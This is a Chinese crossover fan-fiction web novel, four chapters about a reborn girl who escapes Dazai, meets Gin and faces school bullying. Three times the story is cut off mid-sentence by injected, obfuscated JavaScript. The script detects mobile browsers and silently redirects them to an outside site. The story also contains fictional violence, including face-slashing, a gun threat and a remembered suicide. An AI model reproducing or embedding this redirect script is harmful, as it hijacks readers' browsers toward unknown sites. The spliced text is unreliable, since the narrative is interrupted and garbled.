《异能力是必须打出HE》 1. 001 人生的意义在于摆烂。 ……阿不,应该是接纳平庸的自己。 再一次从黑暗中醒来,我在床上躺平了三天三夜,企图借此逃避这狗日的人生。但床头边的老父亲一直在嚎叫,不分昼夜地鬼哭狼嚎,我忍了又忍实在忍不住揉了揉轰鸣的耳朵,哑声对他说:“爸爸,你太吵了。” “哇——我的宝!”老父亲猛地一惊,嗷的一声扑过来,眼泪鼻涕都要蹭到我的被子上了,“你终于肯说话了。发生了什么事情,是不是有人欺负你了。” “算是吧,”我安详地闭上眼睛,“我摆烂了。” “是谁?爸爸帮你欺负回去!” “无所谓了,就这样吧。” 老父亲戳了戳我的脸,小心翼翼地想要讨我高兴:“别不开心了,下周日是你十六岁生日,要不我们举办一个盛大的生日宴吧。” “……可是我不想过生日。”我脑袋一缩躲进被子里,闷闷地说道。 我就是在十六岁的生日宴上遇到了太宰治。 少年英俊、成熟、幽默,和我以往见过的同龄人都不一样。他喜欢拉着我跑过横滨的大街小巷,总是会用那双温柔的鸢色眸子注视我,含笑喊出我的名字。 我以为他喜欢我,而我也倾心于他。 可是啊,他接近我只不过是为了我家小药企。他窃取了我家商业机密,嘎了我爸又嘎了我,最后还一把火烧了我家小别墅。 之后我重生了。 重新回到了十六岁那年,我以为自己手握虐渣大女主剧本,准备让太宰治知道什么叫做恐怖如斯,结果我又嘎了。 接连嘎了无数次之后,我终于明白一个道理。重生只是多了一段经历而已,并没有给我换个可以干得过太宰治的脑子。 所以我弃疗了。 不管了不干了不理会了,太宰治爱咋咋地,这辈子我要摆烂! “好好好,那我们就不办了,”老父亲隔着被子拍了拍我的后背,好声好气地哄着,“那你想要什么,爸爸去帮你买回来。” 我想要太宰治的狗命。 ……但我知道,这么想的结果只会是太宰治要了我们的狗命。 唉。人生不易,猫猫叹气。 人和人的差距比人和狗都要大,太宰治到底是吃什么长大的,为什么我这种手握剧本的重生者重来了这么多次都没能干掉他。 “我什么都不想要,”我恨不得整个人都埋进被窝里,“这辈子我要当一颗摆烂的蘑菇,在阴暗的角落里发霉发臭。” 房间突然安静了下来,许久之后我才听到老父亲犹豫的声音:“宝,可以告诉我发生什么事情了吗?” 我突然就委屈了起来。 眼眶酸涩得不行,我吸了吸鼻子,掀开被子扑到老父亲的怀里嗷嗷痛哭:“爸爸!” “哇——我的宝!” 我和老父亲抱头痛哭。 我把所有的一切都告诉我的老父亲,他半点没有怀疑,很轻易就相信了重生这种天方夜谭的事情,哭得撕心裂肺,看起来仿佛遭受这一切的人是他一般。 看着他那张烂橘子一样皱巴巴的脸,我反倒有点想笑,抽了几张纸巾给他:“好咯好咯,反正也活不长,剩下的日子我们父女两好好过。” “哇——你受委屈了。”老父亲吸了吸鼻子,揉了又揉我的脑袋,“别怕,爸爸一直在你身边。” “爸爸,你说为什么呢?”我抱着枕头,垂下脑袋问我的老父亲,“为什么小说里的女主全部都能成功虐渣,而我只能嘎了又嘎。” “唉,不是我方太弱,而是敌军太强。”老父亲叹气,“宝,打不过就跑,逃避虽然可耻但却有用。” “没用的,太宰治是个很厉害的人渣,没有他做不到的事情,”我躺平,“我们又能逃到哪里去?” 老父亲告诉我,前不久他接到了国际大厂乌丸集团抛来的橄榄枝。他原本是准备回绝的,但现在看来投靠对方也不失为一个好选择。 我表示怀疑,虽然Port Mafia的主要势力都在横滨,但并不代表其他地方没有他们的爪牙。 “试一下吧,”老父亲摸摸我的脑袋,“总归是一条路子。” 老父亲花了三天时间处理好小药企的事情就带着我跑路了,乌丸集团已经派了人迎接我们。我们在东京千代田安了家,我趴在客厅的落地窗上,看到不远处的霞关大楼,底下车辆川流不息人来人往。 “第一次住这种高层,感觉有些不习惯,”老父亲乐呵呵地笑,“宝,这两天你先看看想去哪所学校。” 学校啊。也对,我还在上高中的年龄呢。 我闭上眼睛,额头抵在冰凉的玻璃窗上。 老父亲的工作地点位于乌丸集团底下的一个秘密研究所,据他说是接替前任研究员开发一种神奇小药丸,具体功效他还在摸索之中,反正就玄里玄乎的。也不知道是为了保密工作还是扁平化管理,或者说这是大厂特有企业文化,研究所成员间均用代号称呼对方。老父亲的代号是「马爹利」,他叽叽歪歪地嫌弃了好几天,说他最讨厌马爹利拱桥状的瓶身,不符合他低调奢华有内涵的气质。 不要问我的代号是什么。 我没有代号,我只是员工家属而已。 他还嘀嘀咕咕,说是在研究所里看到几个凶巴巴的黑衣人,有一个银发的更是凶残中的凶残,估计是组织暗地里养着的打手。 闻言我眉头一皱,发现事情并不简单。 这年头不交点保护费都干不下去,原本还以为只有横滨那种法外之地是这种办事风格,没想到东京这种国际都市也是这样。 “那你可要小心一点,”好歹和Port Mafia死磕了这么多次,那一点套路我早就摸得清清楚楚,不放心地嘱咐老父亲,“按理说你的职位比他们高,但那些人大多是四肢发达不带小脑,千万别主动凑上去。” “放心放心,”老父亲傻乐傻乐的,“我这种科研人员大门不出二门不迈,每天就待在实验室里,不会和他们扯上纠葛的。” 我觉得我的老父亲在立flag,但我找不到证据。 毕竟老父亲的天赋全部都点亮在科技树上,别的事情一窍不通,生活自理再加待人接物沟通能力平平无奇。我已经在忧愁,当了这么多年社长的老父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412891|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否还能重新适应繁忙的打工人生活了。特别是他们研究所还是007的工作作风,好几次我趴在沙发上睡着了老父亲都还没下班回家。 我从上学愁到放学,拎着书包在家门的路口边上看到一辆从车灯到车轮都写着「贵」的老爷车。黑色保时捷旁边站着的两个黑衣人,高个的银发男人似乎察觉到我的视线,偏头朝我的方向看了过来,整张脸都写着「此人凶残,莫cue」。 就你这针尖大的小眼睛还想瞪人? 我毫不畏惧地昂起下巴直视他。 男人顿时挑起眉尾,露出一个饶有兴致的笑容。 他身后的大块头瞅了我一眼,嘀嘀咕咕:“大哥,这是马爹利的女儿,在附近上高中呢。” “眼神很漂亮,”男人嗤笑一声,踩灭烟头朝我走过来,伸手抚上我的脸,拇指轻轻摩挲我的眼皮,“继续保持,小家伙。” 呸。沙雕的狗男人。 我厌烦地挥开他的手:“给我爬。” “原来是个坏脾气的小家伙,勇气可嘉。”男人毫不在意地收回手,正想说什么的时候我的身后传来仿佛被大卡车碾压的尖叫鸡叫声。我一扭头就看到我的爸爸,一位专攻生物和化学的科研阿宅,用着能突破世界纪录的速度朝我狂奔而来,一把把我拽到了身后。 他警告性地看向男人:“琴酒,你想干什么?” “放轻松,马爹利,”被称作琴酒的男人慢悠悠地划过火柴点燃香烟,“我只是和你可爱的女儿打个招呼而已。” 老父亲警惕地看着对方,拽着我往后退了好几步,不放心地从头到脚打量我确定我没有问题才轻轻松了一口气,小声告诉我:“那是琴酒,和他的小马仔伏特加。据说是个心狠手辣的厉害角色,宝你要小心。” “怪不得一见面我就觉得他狗里狗气的,”我越过老父亲瞅了银发男人和他的狗腿子一眼,立马嫌弃地呸了一声,“我现在一见着个厉害男人就觉得对方狗,火气蹭蹭往上窜,这能力都快要进化成我的本能了。” “我竟一时听不出你是在夸他还是在骂他,”老父亲惊叹,“宝,你说话的能力越来越强了。” “当然是在骂他,”我哼道,“那种从头狗到脚的男人有哪一点值得我夸赞的。” “也对,男人没一个好东西,”老父亲煞有其事地点头,完全没有发现他把自己给骂进去了,揉了揉我的脑袋,“爸爸今晚要加班,冰箱里有速食,要是不喜欢的话去外面吃或者点外卖都行。不用等我回来了,今晚早点休息吧。” “我知道啦,”我拉长了声音,“又不是小孩子。” “在爸爸眼里,你永远都是个孩子呀。”老父亲不放心地嘱咐了许久,直到身后那辆保时捷接连鸣笛,明显能看出车主人此时的不耐烦,他才不满地呸道,“沙雕琴酒,怪不得是单身。那我就先走了,你赶紧回去吧。” 我目送我的老父亲离开,保时捷缓缓从我身边经过。副驾驶座的车窗摇下,我看清了男人嘴角略带恶意的弧度,以及一张一合的薄唇。 「下次再见,可爱的小家伙。」 我朝他比了个国际通用友好手势。 2. 002 我就读的学校名为桐皇,大概因为我是在第二学期才入学的插班生,该形成的小团体早早就形成了。再加上我这副显而易见的混血儿面孔,开学的第一个月里连个中午能一起吃饭的朋友都没有。 对于这种状况,我表示十分快乐。现在的我已经不是当年的我,早就过了抱团上厕所的阶段。我安心地当我的校园透明人,准备平静地度过高中三年。 但很快我就发现,我可爱的同学们似乎觉得我这么低调安静不符合桐皇校训,热情地邀请我参与到他们的校园活动中。 最先是鞋柜里的室内鞋丢失,我找了一圈才在教学楼背面的水池里找到。之后是凳子上被涂满胶水,书桌上被黑色油性笔涂满了「外来人」、「丑八怪」之类的涂鸦。偶尔会被锁进卫生间的隔间里,一盆水从天而降把我淋湿。 我:……哇哦。 这些低幼化的手段不仅没有让我生气,我反而觉得惊奇和怀念。和太宰治这位真·Mafia真枪实弹地死磕久了,我都忘了原来自己过去的校园时光是如此充实与友善。 在跟班主任打了报告后,我自己去仓库重新换了一套桌椅,途遇一位好心的篮球少年帮我搬上了教学楼四楼。 “我们篮球队的王牌和你同一个班诶,”毫不起眼的篮球少年笑起来都腼腆腆的,“他的篮球很厉害,以后有机会的话可以来看我们比赛。” 谢谢你的邀请,但我对吵闹的环境容忍度很低。 大概是我的态度良好配合度高,企图和我成为朋友的同学们越发的热情,连下课都围在我身边,像百雀鸟般叽叽喳喳吵得我头疼。 “你是外国人吗?” “那你的英语肯定很好吧。” “下节课英语随堂测试就靠你了哦,小·林·同·学。” 我正想表示丑拒,自己的事情要自己干,我那至今仍未交流过的黑皮同桌突然抬头不耐烦地低吼一声“吵死了,滚开”,成功把这群麻雀儿吓跑。 “谢谢你,”我一顿,发现自己并不知道这位好心人的姓名,默默地接着说道,“同学。” 黑皮同桌冷漠地瞥了我一眼,继而趴回书桌上,一句话都没多说,身体力行展现酷哥的职业修养。 我以为热情的同学会忌惮我那冷酷的同桌,起码能让我安静地度过这一周。结果当天放学我就被堵在了楼梯口,几个女生叽叽喳喳一通,我艰难地总结了一下,大概就是让我离青峰同学远点的意思。 青峰同学? 这是谁? 我在脑子里过了一圈都想不起这个名字,十分诚恳地告诉她们:“你们认错人了,我并不认识你们口中的青峰同学。” 明明是再端正不过的态度,我也不知道为什么会惹怒她们,为首的女生狰狞着一张脸伸手就要推我。我下意识退后一步却一脚踩空,视线颠倒,额头似乎砸在了某个尖锐且坚硬的物体上,轰鸣声瞬间盈斥整个耳朵。 好像有人在尖叫,有人在高喊,视线染上了一片鲜红色,无数只手朝我伸过来。 “喂!你还好吗?” “同学,你能听到我说话吗?” “……我生气了。”我推开了对方扶住我的手,撑着墙壁摇摇晃晃地站起来。 身旁的人一直在拽着我似乎说着什么,但我耳鸣得厉害,只能隐隐约约听出几个零星的词汇。我没有理会他,抬眸看向台阶上的几人。她们正居高临下地看着我们,神情带着掩盖不住的慌张。 “因为我是混血儿,仅仅只是因为「不一样」就要被欺负,这种事情我见得多了。” 我顺着楼梯,一步一步往上走。 “其实我并不在意,反倒觉得你们这些小打小闹十分可爱,但是上升到暴/力行为可就有点麻烦了。虽然我并不畏惧,也已经习惯,但还是会觉得疼的。” 女生们都惊恐地看着我,那神情像极了动物园里的狒狒。 “知道吗?有来有往关系才能长久,总不能只有我单方面享受你们的关照,”我直接拽住为首的头发,咧开嘴一笑,“你长得这么好看,要是脸被划花了肯定会更加好看吧。” 我的额头缝了三针,至于那位被我划花脸的女生,估计得翻倍再翻倍。 学校极力想将这件事情压下来,但不知道是谁报了警,警察和我们同步到达医院。隔着纱布摸了摸额头的伤口,我的目光从警察手册移到对方年轻的脸庞上。 对方正紧紧拧着眉头,看不出来是愤怒还是痛恶,也有可能是对这种难以定罪的未成年事件感到苦手。他看向我的额头,张了张口:“同学……” 我把手机递给他。 里面存有录音和照片,从教室到卫生间到天台都有,满满都是同学们对我的热情招待。 “很多人看到我被推了下来,”我告诉他,“我只是正当防卫,警察先生。” 年轻的警察先生一愣,看向手机屏幕的眼睛慢慢睁大。他神情晦涩不明地翻看完所有照片后才递回给我,轻声问道:“你有跟老师或家长提过这些事情吗?” “毛利警官,你相信吗?”我换了个称呼,歪头注视他,“即便是现在,学校也只会说是学生们的打闹而已。没有人会在意我是否受到伤害,我只能用自己的方式保护自己。” 对方沉默了。 半响,他才站起身揉了揉我的脑袋,轻声叹道:“我们已经联系你的父亲,他很快就到,你先休息一下。” “如果您也有女儿的话,”我对着他离开的背影说道,“请您告诉她,一定要保护好自己。” 他的脚步一顿,转身朝我笑道:“我明白了,我会告诉她的。” 无论是在哪个时代,受害者的姿态果然都十分受用。不枉我特地拍照录音留下证据,就为了能在这种时候站在道德制高点上做出反击。 病房里只剩下我一个人,细碎的说话声从远处传来。我踩着凳子爬上窗台,晃着腿吹着风,眯起眼睛看向天际边玫红色的夕阳。 我从Port Mafia的大厦顶端跳下来的那一天,夕阳也是和今天一样瑰丽。 一阵鬼哭狼嚎把我从哲学的世界里强行拽了出来,我难受地揉了揉又开始耳鸣的耳朵,一扭头就看到我的老父亲连带着医生和警察镇恐地站在病房门口。 “宝哇——”老父亲一愣,嗷的一声就想朝我扑过来,却被身旁的毛利警官死死拦住。 “冷静一点。”毛利警官放缓了声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412892|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢朝我靠近,“那里很危险,有什么事情先下来再说,好吗?” “放心,我暂时没有寻死的打算。”我很配合地从窗台上跳回病房里,刚一落地就被毛利警官紧紧拦腰抱住。他把我拉回了病房中央,距离窗口远远的位置,还快步跑去把窗户锁死。下一秒我就被人搂在怀里,对方的手臂和胸怀都在颤抖,一直在宝啊宝啊地喊我。 “爸爸,有时候我会觉得活着没意思。”我闭上眼睛,靠在他的肩头上,“为什么我要遇到这种事情,我做错什么了吗?” “没有,我的宝是这个世界上最善良的女孩,”老父亲按住我的后脑,紧紧搂住我,“我们下辈子都会投个好胎的。” “……明明是个搞科学的,就不要说这种话了,”我笑了一声,推开了他,“好啦好啦,抱得太紧了,我都要喘不过气了。” “对不起,是我没有保护好你。”但老父亲一直在哭,灼热的泪水透过单薄的病号服,几乎要灼伤我的肩膀。 鉴于轻微脑震荡的伤情,我豪横的老父亲砸钱定了一间高级单人间让我安心养伤。他还请了长假,从早到晚陪在我身边。据他说这是他在实验室里发疯打滚、阴暗爬行才争取到的福利,他那些007的同事们也想请假,但别人没有他不要脸。 那位年轻的毛利警官时不时带着水果来看望我。他告诉我,他有一位正在上国小的女儿,已经准备让女儿学习空手道了。 “活着或许没有意义,但死了就什么都没有了,”毛利警官也不知道从哪里看的这些心灵鸡汤,听得我鸡皮疙瘩一直往手臂上窜,“你的未来还很长,一切都是未知数。” “别给我灌鸡汤了,”我一边咬桃子一边在笑,“我真没打算寻死。” “真的吗?”他注视我,像是想要看透我的灵魂,“恕我直言,小林小姐看起来并不喜欢这个世界。” “真的啦,”我又戳了一块橙子,“死亡并不会带来安宁,只不过是另一场无趣的开始。我确实对活着提不起兴致,但还不至于寻死。” 闻言,毛利警官却在叹气,温柔地揉了揉我的脑袋:“对不起,在你最需要的时候却没有帮到你。” “但你帮到了其他人,”我抬头瞅他,“这就足够了。” 他一怔,随即露出一个无奈的苦笑:“这都是我们这些没用的成年人的错。” “不。这是世界的错。”我一脸深沉地说道。 养伤的日子闲里吧唧的,每天吃饱睡睡醒吃,偶尔下楼晃悠两圈晒晒太阳,我都觉得自己的体重在蹭蹭往上涨。大概是午饭后一直睡到晚饭,夜里我翻来覆去实在睡不着,干脆抱着平板看起了恐怖片《白色病棟之嘎命篇》。突然,我隐约听到门口传来轻微的声响,一抬头就看到两个黑衣人,脸庞隐藏在帽檐的阴影底下,站在闪烁的灯光下面无表情地注视我。 卧了个大槽哦,这医院竟然有脏东西! 眉头猛地一跳,一声“鬼哇”还没从咽喉里喊出来,为首的银发男人就已经持枪抵住我的脑门,压低的声音像是索命的恶鬼。 “安静一点,小家伙。”他说。 哦。是人啊。 我迅速收敛神情,继续看回我的恐怖片。 3. 003 现在的情况是这样的。 琴酒突突两枪把我的平板给干报废了,我抱着平板流泪,他握着手/枪冷笑。 “赔钱,”我吸了吸鼻子,愤恨地一抹脸,“不然免谈。” “闭嘴,小家伙。别让我再重复第三遍。” “赔钱。”我面无表情地朝他伸出手。 “哦?”琴酒饶有兴趣地挑起眉尾,安装了消音器的枪口移到我的眉心。 “你开枪也没用,”我把手往前伸了一点,“一分钱都不能少。” 他扣下保险。 我抬头直视他,他低头盯着我,僵持了大概三两分钟,他的手指缓缓压下扳机。 “……嗤。”半响,琴酒笑了,收起手/枪,喊了一声,“伏特加。” 伏特加仿佛琴酒肚子里的蛔虫,充分领悟对方的意思,十分上道地从自己钱包里抽出一叠纸币递给我。 我点了一下,这钱足够我买两三个最新款平板了,才叠好塞进旁边的手提包,又拿湿纸巾把手擦干净后慢悠悠地把自己塞回被窝里,抱着枕头扬起下巴:“说吧,找我干嘛。” 伏特加一顿解说,中心意思就是,我的老父亲现在一心扑在我身上,已经严重耽误了工作。经过组织高层研究,决定由他们担任保姆照看我,让我的老父亲安心重回职场。 你们担任保姆才更让我的老父亲焦心吧。 我斜眼睨他:“你看起来不像是这么闲得没事干的人,你们公司给你涨了多少工资才让你答应这种事情。” 琴酒完全没有理会旁边「禁止吸烟」的标识,缓缓吐出一口香烟,慢悠悠地哼笑道:“我说过,你的眼神很漂亮。” 我:??? “你不乐意?”琴酒瞥了我一眼,“我不喜欢强求,小家伙。” “我为什么要答应呢?”我实在不懂这人的自信从何而来,“我为什么要抛弃我温柔可爱的老父亲,选择你们这些狗男人?” “那几个小鬼转学了,我看过她们的伤口,手法太过青涩,”琴酒的目光略过我的指尖落在我脸上,“我可以教导你自保的手段。” 我耸了耸肩:“我暂时不打算打出铁窗泪的结局,下手自然有所克制。” “那么,”他说话总是带着莫名的优雅与从容,像是在玩/弄猎物的毒蛇,“你想要什么?” 我托着腮看他:“如果我说,我想要嘎掉你。” 话音刚落,我就看到他身后的伏特加顿时捧脸作呐喊状,连墨镜都掩盖不住他的惊恐。但银发男人只是低低笑了一声,单手撑在我的床铺上,注视着我的目光带着病态的愉悦:“随时欢迎。小家伙,我很期待你的成长。” 我发现这人是个脑残,而且还企图养/成我。 但我答应了他。 谁知道这辈子太宰治还会不会杀过来,学习一点保命手段也方便我和老父亲跑路。 第二天我就和我的老父亲商量了这件事情,预料之中他坚决表示反对,顶着一张嫌弃脸把琴酒从头发丝到脚指头都批判了一遍,死活不肯让他们来照顾我。在我的努力劝说下才勉强松了口,但他的条件是我起码得再养上个一两个月,伤口恢复得透透才允许我轻度运动。 也行,这已经是他质的让步了。 一周后我拆了线,在医院里也实在待得无聊透顶,经由医生的同意后准备回桐皇继续我的高中生涯。不得不说,这里要感谢那几位被我划花脸的小女孩,我的校园生活重回平静。 字面意义上的平静。 比如说,我才轻轻嗯了一声,还没来得及问班委要收什么作业,对方立马跟我说没写完也没关系,他可以等我写完再上交给老师。或者我才拉开凳子站起来准备上洗手间,整间教室瞬间安静下来,所有人大气都不敢喘一声。 会主动和我搭话的只有那位黑皮同桌,也不知道他是什么时候睡醒的,单手托腮看着我:“你这家伙还挺厉害的嘛。” “还行吧,”我突然想起一件事情,诚恳地询问他,“你知道青峰同学是谁吗?” 黑皮同桌:“……嗯?” “啊……在这之前我应该先问一下你的名字,”看着对方一脸难以言喻的神情,我后知后觉反应过来,“我是前不久刚转学过来的插班生小林莉娅,同学你叫什么名字?” 黑皮同桌瞅了我一眼,懒洋洋地开口:“青峰。” “……啊?” “青峰大辉,”他敲了敲书桌上的作业本,“就是你口中那位青峰同学。” “哦豁。”我一时不知道该说什么,只能发出一个莫得意义的感叹词。 他抬起眼皮看了我一眼:“怎么了?” “看来你挺受欢迎的,是校园偶像,”我摸摸下巴,默默打量他,“听说我们班还有一位篮球ACE,难不成就是你?” 这人懒洋洋地打了个哈欠后,学着我说话:“还行吧。” 看不出来我的班级卧虎藏龙,如此牛逼人物竟然就坐在我的身边。 下周是桐皇的校运会,每个人最多可以报名三个项目。班委正在积极动员大家,特别是我身旁这边夺冠热门,一到下课时间班长就逮住对方,动之以理晓之以情企图让对方参赛。 黑皮同桌大概是烦了,我正收拾课本的时候就听到他不耐烦的打断:“你怎么不问这家伙。” 闻言,我一脸无辜地抬起头,正好对上班长的视线。白白净净的少年神情一滞,一个激灵似乎还下意识退后半步,尬笑道:“小林同学,你有兴趣吗?当然当然,我们都是自愿原则,你要是不参加也没问题。” “不好意思,我柔弱不能自理,”我收回目光,拿出下一节课的课本,“天赋全数点在划花脸上了。” “没关系没关系,”班长应得很快,“我们不强求,小林同学你注意身体。” 这就是身为校霸的寂寞。 上课铃声打断了热情似火的班长,他只能亦步亦趋地离开,没忘让黑皮同桌考虑一下,报名时间本周五截止。同桌不耐烦地低骂一声“麻烦”,偏头看着我感慨:“不就是划花施暴者的脸,你明明就是正常反击而已,他们怎么这么怕你。” “划花脸不是关键,重点是发疯,”我好心地提议,“下次他再来烦你,你就咆哮一声猛地一头槌把课桌拦腰劈断。别说是班委,保证连班主任和你说话都温声细语,非必要绝对不会找你。” 黑皮同桌:“……滚。” “那我也莫得办法了。”我直接一摊手。 临近放学的时候,老父亲给我发了短信,说他今晚要加班,让我放学后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412893|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早点回家,不要在外面逗留,特别是上某个留长发、穿黑衣、一看就不怀好意的家伙的车。 爸爸,你可以直接点名琴酒的。 我无奈地回了句「知道啦」,说好的训练还没开始,琴酒可不会闲得没事干来接我放学。 刚下教学楼,我隐约听到拐角处有人在争吵,下意识扭头看过去,看到我的黑皮同桌和一个青春靓丽的粉毛少女拉拉扯扯,也不知道在说些什么。 该说真不愧是校园偶像呢,果然十分受欢迎。 我在内心感慨了一句,拎着书包往外走也没准备理会,就听到黑皮同桌不耐烦地拔高声音:“如果你能邀请她参观,我就去训练。就那边那个金毛,叫小林,小林什么来着。” 我:??? 青峰同学,这已经是你今天第二次拉我下水了。 更令我想不到的是,面对恶名在外的我,看起来就真·柔弱不能自理(bushi)的粉毛少女咬咬牙竟然真的朝我走过来,用着微颤的声线邀请我观看他们的训练。 “我为你的勇气鼓掌。”我忍不住感叹。 粉毛少女似乎被我这番表现吓着了,明明就怕得很,但还是坚定地站在我面前,又重复了一遍:“如果小林同学放学后没有其他安排的话,可以来参观我们篮球部的训练吗?” 我瞅了那边的黑皮同桌一眼,扬起下巴应了下来:“可以啊。事先说明,我不喜欢太过吵闹的环境,要是你们训练吵得厉害,我会直接离开。” 粉毛少女猛地睁大眼睛,下一秒几乎都要兴奋得一跃而起:“太好了!谢谢你,小林同学。” “对了,我还没作自我介绍,”她抿了抿唇角压下欢悦,露出一个柔善的笑,“我叫桃井五月,是篮球队的经理。” “嗯。”我随口应了一句,也没有在意。 黑皮同桌大概没料到我会同意,对此表达十足的不满。他紧紧皱着眉,配上他这张恶人相的黑脸和充满威压的高大身材,显得凶恶得很:“喂!你为什么要答应她?” “说起来你可能不信,其实我人还挺好的,”我一脸深沉地点点头,“勇敢的少女需要嘉奖,我这是在鼓励她。” 黑皮同桌:“……算了吧。” “说话算数,”粉毛少女得意洋洋地用手肘撞了一下黑皮同桌,热情地走到我身旁,“小林同学还没去过篮球队吧,我来带路。” 路上,粉毛少女简单介绍了一下他们篮球队的构成和战绩。简单总结就是过去很垃圾现在很牛逼,目标是全国大赛第一,有着「新锐的暴君」之称。 这个称号可以说是十分中二病了。 体育馆谈不上十分宽敞,粉毛少女和一个眼镜眯眯眼打了声招呼,就把我领到外围的观众席上,让我有事情的话随时喊她。 说实话,我不懂篮球,一窍不通的那种不懂。但看着同桌轻轻松松运球穿过四五个人,随随便便投中篮筐,大概也能看出对方很厉害。 这是单方面的虐杀。 我打了个哈欠,已经开始感到无聊了。 “小心!!!”猛地一声不和谐的惊恐尖叫把我瞌睡吓醒了一半,我下意识抬头看过去,就看到一颗篮球以光速划破空气径直朝我飞来,正中我的脑门。 我呱的一声,倒了。 4. 004 回首往昔,我这一生尽是失败。 令人眩晕的灯光透过指缝落在眼底,我下意识眯了眯眼睛,看到自己沾满鲜红的掌心。剧烈的耳鸣刺得我太阳穴突突地疼,那个眼镜眯眯眼呵退了围在我身边的吃瓜群众,轻轻托着我的后颈把我扶起来,宽厚的手掌在我眼前摇了又摇,嘴巴一张一合一直在说着话。 别摇了,晃得我头晕,等会就吐你身上了。 我动了动指尖,正想把这只和苍蝇一样烦人的手掌拍下来,下一秒身体腾空而起,视线蓦然从体育馆转移至蓝天白云。 “啧。你这家伙运气怎么这么差,”我这个角度正好看到对方紧绷的下颌线,映衬着湛蓝的天空实在是黑得过分了,“就不能遇到点好事吗?” “青峰同学,”我眨了眨眼睛,突然笑出声,“你真的好黑啊,这是太阳能晒出来的肤色吗?” 他低头扫了我一眼,没好气地应道:“喂喂!现在不是该笑的时候吧。” “那什么时候该笑呢?”我越过他,看向绿荫和天空。 体育生不愧是体育生,青峰同学长手长脚跟踩着风火轮似的,抱着我一路跑到保健室都不带喘。他一脚踹开了保健室的门,把里面正在摸鱼的保健室老师吓了一跳。 “天呐!”保健室老师几乎都要尖叫,“赶紧把她放在病床上。同学,你还好吗,能不能听到我说话?” 好歹嘎过这么多次,我对自己的身体状况有最基本的了解,摆摆手表示自己没事:“只是伤口裂开了而已,消毒贴个纱布就好了,不用去医院。” 老师检查一番确定我神智清明没有内伤,才微蹙眉头帮我处理伤口:“女孩子还是要注意一些,要是留疤那可就麻烦了。” “问题不大,以后我就是哈利·波特东京分特……嘶。” “咳咳咳抱歉,”老师笑了一声,贴好纱布,“不小心戳到你了,你这姑娘倒是看得开。” “看不看得开都伤了。”我摸了摸额头上的纱布,问对方借了一面镜子。 说实话,有被吓到。 半张脸都糊着血迹,比恐怖片的女鬼还要女鬼。怪不得老师表现得一惊一乍,看起来确实怪吓人的。 我对着镜子把脸上的血迹擦干净,透过镜面能看到我身后的青峰同学正拧眉看向我,也不知道在想什么。 我:??? “不痛吗?” “我找个篮球砸你试试?” 他啧了一声,态度谈不上好:“要是五月早就哭得人尽皆知,你还真淡定。” “你想看我哭?”我挑起眉尾,“倒也不是不能满足你这个愿望,不过作为交换你得帮我买一周的午饭。” 他面无表情:“滚。” 据说是他们篮球队教练的中年帅哥,连带着那个眼镜眯眯眼押着个平平无奇的男生过来,说篮球队会对我的伤势负全责。眯眯眼还压着男生的脑袋让他给我道歉,那个男生一副快要哭出来的模样,疯狂向我鞠躬。 我瞅着那个男生看了又看,微妙地觉得他有点眼熟,不确定地问道:“之前是你帮我搬了桌椅吗?” 男生鞠躬的动作一顿,低低应了一句:“嗯。真的真的很抱歉,我会负责的,有什么需要请尽管提。” 我认真想了想:“那就这样吧,要是以后我的桌子又被人涂鸦涂上胶水,就由你负责去仓库搬一套新的给我。” “诶——”男生睁大了眼睛,不可置信地看向我。 “你的篮球还不至于把我砸出一脸血,”我指向自己额头的伤口,“只不过是原本的伤口还没有完全痊愈,又裂开了而已。” “可是——” “对了,我的书包落在你们体育馆了,帮我拿过来。” “我知道了!” 好不容易打发走对方,青峰同学不咸不淡地挑起眉尾:“就这样?” “难不成你觉得我会划花他的脸?”我白了他一眼,“我都和你说了,其实我人挺好的,是你不相信而已。” 他双手插兜,不置可否地耸耸肩。 行叭。当坏人也没什么不好的,就我目前的校园状况,还是当一个恶角会比较便利。要是再来一波校园霸凌,我怕我精神病犯把他们全部送去往生。 他们教练又和我确认了一遍,确定我不需要前往医院,才沉着地安排接下来的事项。他让那个眯眯眼眼镜和黑皮同桌送我回家,并向我的家长说明情况,求得家长的原谅。 不好意思,我的老父亲今晚要加班,家里也没有第三个人在。 我拒绝了他们,表示自己有钱,可以打车回家。在我的坚持下,他们也没有再强求,让我回家路上一定要注意安全,有什么事情可以随时联系他们。 大可不必。 区区外伤,不足挂齿。 眼镜眯眯眼还体贴地把他的外套递给我:“衬衫上沾了血迹,不介意的话可以套上我的外套。” 实不相瞒,我有点嫌弃上面的汗臭味,黏糊糊又臭烘烘的。但穿着这一身犹如凶案现场的衬衫往外跑,热心的东京市民说不定会报警把我抓去警视厅,想想也很麻烦。 